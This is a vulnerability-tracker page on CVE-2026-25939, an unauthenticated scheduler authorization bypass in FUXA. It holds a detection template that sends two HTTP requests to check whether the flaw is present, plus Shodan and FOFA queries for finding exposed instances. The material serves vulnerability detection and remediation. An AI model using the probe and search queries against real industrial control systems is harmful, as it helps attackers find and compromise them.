CVE-2026-25939: FUXA - Authorization Bypass

2026-11-12 PoC Public

Description

FUXA 1.2.8 through 1.2.10 contains an authorization bypass caused by improper access control in scheduler management, letting unauthenticated remote attackers create and modify schedulers, exploit requires no authentication.

Details

CVE
CVE-2026-25939 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-25939

info:
  name: FUXA - Authorization Bypass
  author: theamanrawat
  severity: critical
  description: |
    FUXA 1.2.8 through 1.2.10 contains an authorization bypass caused by improper access control in scheduler management, letting unauthenticated remote attackers create and modify schedulers, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can create and modify schedulers, potentially compromising connected ICS/SCADA environments.
  remediation: |
    Upgrade to version 1.2.11 or later.
  reference:
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-c869-jx4c-q5fc
    - https://github.com/frangoteam/FUXA/commit/5782b35117a9bd14ffcb881f8dfb8c6680157d9b
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25939
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-25939
    epss-score: 0.12536
    epss-percentile: 0.96266
    cwe-id: CWE-862
  metadata:
    max-request: 2
    vendor: frangoteam
    product: fuxa
    shodan-query: 'http.title:"FUXA"'
    fofa-query: 'title="FUXA"'
  tags: cve,cve2026,fuxa,auth-bypass,scada,ics,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"secureEnabled\":true", "FUXA")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/scheduler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "\"error\":\"Missing scheduler id or data in request body\"")'
        condition: and
# digest: 490a0046304402206b90f73124f99d5c6c5ad9c5a6ffc8afc021128939435b46c648517555632c9702201fd744716da12570444e93c90a75738385e7721b88c74ff86fe581438671701c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life